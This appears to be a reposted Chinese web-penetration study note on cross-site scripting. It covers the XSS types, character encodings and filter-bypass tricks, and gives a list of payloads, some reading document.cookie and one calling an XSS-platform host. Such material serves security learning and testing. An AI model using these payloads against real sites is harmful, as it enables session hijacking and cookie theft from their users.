zoukankan      html  css  js  c++  java
  • web渗透笔记之xss漏洞

    0x01 xss漏洞简述

    xss分类:

    反射型XSS:需要欺骗用户自己去点击攻击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
    存储型XSS(危害大):一般在个人资料或留言,图片上传文件名等地方存在此漏洞,这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookies
    DOM型XSS:基于文档对象模型Document Objeet Model,DOM的一种漏洞.DOM是一个与平台,编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容,结构和样式,处理后的结果能够成为显示页面的一部分.DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。(dom型xss算是特殊的反射型xss,例如搜索框搜索后,网页标题出现搜索的内容。于是可在标签内闭合,然后插入xss恶意代码)

    • xss平台:有许多模块,当用户收到xss恶意代码时,可从xss平台获得管理员cookie(前提是目标站没有httponly防护)

    0×02 常用编码

    URL编码:
    一个百分号和该字符的ASCII编码所对应的2位十六进制数字,例如“/”的URL编码为%2F(一般大写,但不强求),&字符被过滤时可尝试url编码

    HTML实体编码:
    命名实体:以&开头,分号结尾的,例如“<”的编码是“<”

    字符编码:
    十进制、十六进制ASCII码或unicode字符编码,样式为“&#数值;”,例如“<”可以编码为“<”和“<”

    JS编码:js提供了四种字符编码的策略,

    1、三个八进制数字,如果不够个数,前面补0,例如“e”编码为“145”
    2、两个十六进制数字,如果不够个数,前面补0,例如“e”编码为“x65”
    3、四个十六进制数字,如果不够个数,前面补0,例如“e”编码为“u0065”
    4、对于一些控制字符,使用特殊的C类型的转义风格(例如 和 )


    例:
    xss转16进制

    x3Cx73x63x72x69x70x74x3Ex61x6Cx65x72x74x28x27x70x6Fx72x75x69x6Ex27x29x3Cx2Fx73x63x72x69x70x74x3E

    xss转8进制

    741631431621511601647614115414516216450471601571621651511564751745716314316215116016476

    CSS编码:用一个反斜线()后面跟1~6位的十六进制数字,例如e可以编码为“65”或“65”或“00065”
    复合编码
    所谓复合编码,也就是说输出的内容输出在多个环境中,例如

    <td onclick=”openUrl(add.do?userName=’<%=value%>’);”>11</td>
    

    value的内容首先出现在一个URL中,这个URL在一段javascript总,而javascript代码又是html的一部分。所以解码的顺序就是HTML解码–>js解码–>url解码,那么正确的编码顺序就应该是url编码–>js编码–>html编码。

    0x03 绕过姿势

    UBB标签

    UBB标签是目前广泛运用到论坛,留言簿,以及其他网站系统的一种编码标签,类似[img]url[/img]这样的,用户在中间输入地址后即可,在发表的时候系统会自动改成 <img src=”url”></img>这个URL就是用户输入的图片地址,XSS攻击中,可以利用这个特点来达到无需用户输入<>就能执行由用户所输入的代码,我们只要在输入网址的地方输入:

    x"/**/onerror="alert('poruin')
    

    那么经过转换后就变成了

    <img src="x"/**/onerror="alert('poruin')"></img>
    

    在JS中空格可以用/**/转换,如图:
    在这里插入图片描述

    JS还原函数

    • JS中的编码还原函数最常用的就是String.fromCharCode了,这个函数用于ascii码的还原,一般来说,这个函数都要配合EVAL来使用才有效果。

    • 在跨站中,String.fromCharCode主要是使到一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为ASCII码,然后再用String.fromCharCode还原,因为大多数的过滤系统都不会把String.fromCharCode加以过滤,例如关键字alert被过滤掉,那就可以这么利用:

      <img src=“x”/**/οnerrοr=“eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))”>

    大小写或编码绕过

    大小写

    <sCRipt>aleRt(1)</sCRipt>
    

    编码按照0x01所说
    特别是浏览器解码顺序为

    • html解码–>js解码,则可将javascript:alert(/xss/)进行html编码
    • 浏览器解码顺序为js解码–>html解码,可进行js编码,绕过htmlspecialchars限制

    双重标签绕过

    遇到script过滤时,用<scrip绕过

    <script>标签绕过

    • <img src=1 onerror=alert(2)>
      
    <img type=image src=https://xsspt.com/qlk7io onerror
    =prompt(1)>
    

    onerror后要换行

    和sql一样用闭合

    • "><script>;alert(2)</script>">
    • <script>alert('XSS')</script>
    • '><script>alert(document.cookie)</script>
    • <IFRAME SRC=javascript:alert(‘XSS’)></IFRAME> 框架注入
    • "> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
    • <A HREF=http://127.0.0.1/phpinfo.php>link</A> //链接注入

    注:字段对输入字符有长度限制,这个可以通过burpsuite抓包改包绕过

    受限情况下的 XSS 利用技巧

    原文地址:https://brutelogic.com.br/blog/xss-limited-input-formats/

    电子邮件

    payload: "<svg/onload=alert(1)>"@x.y

    URL(无查询)

    payload: javascript://%250Aalert(1)

    URL(带查询)

    payload: javascript://https://domain.com/%250A1?alert(1):0

    Key

    payload(假设key限制条件为32字符的md5密钥): 12345678901<svg onload=alert(1)>

    部分转自:https://www.freebuf.com/articles/web/43285.html
    作者:0xExploit

  • 相关阅读:
    Jetpack MVVM 高频提问和解答
    Android-Jetpack架构组件-—-Navigation#
    Jetpack明星组件 —ViewModel #
    Android开发把 LiveData 用于事件传递那些坑#
    Android官方架构组件Lifecycle#
    Android架构组件JetPack之Lifecycle#
    Android架构组件JetPack之LiveData的工作原理#
    DataBinding从入门到通透#
    SpringBoot 分包方式多数据源
    SpringBoot与数据访问
  • 原文地址:https://www.cnblogs.com/yida223/p/12229325.html
Copyright © 2011-2022 走看看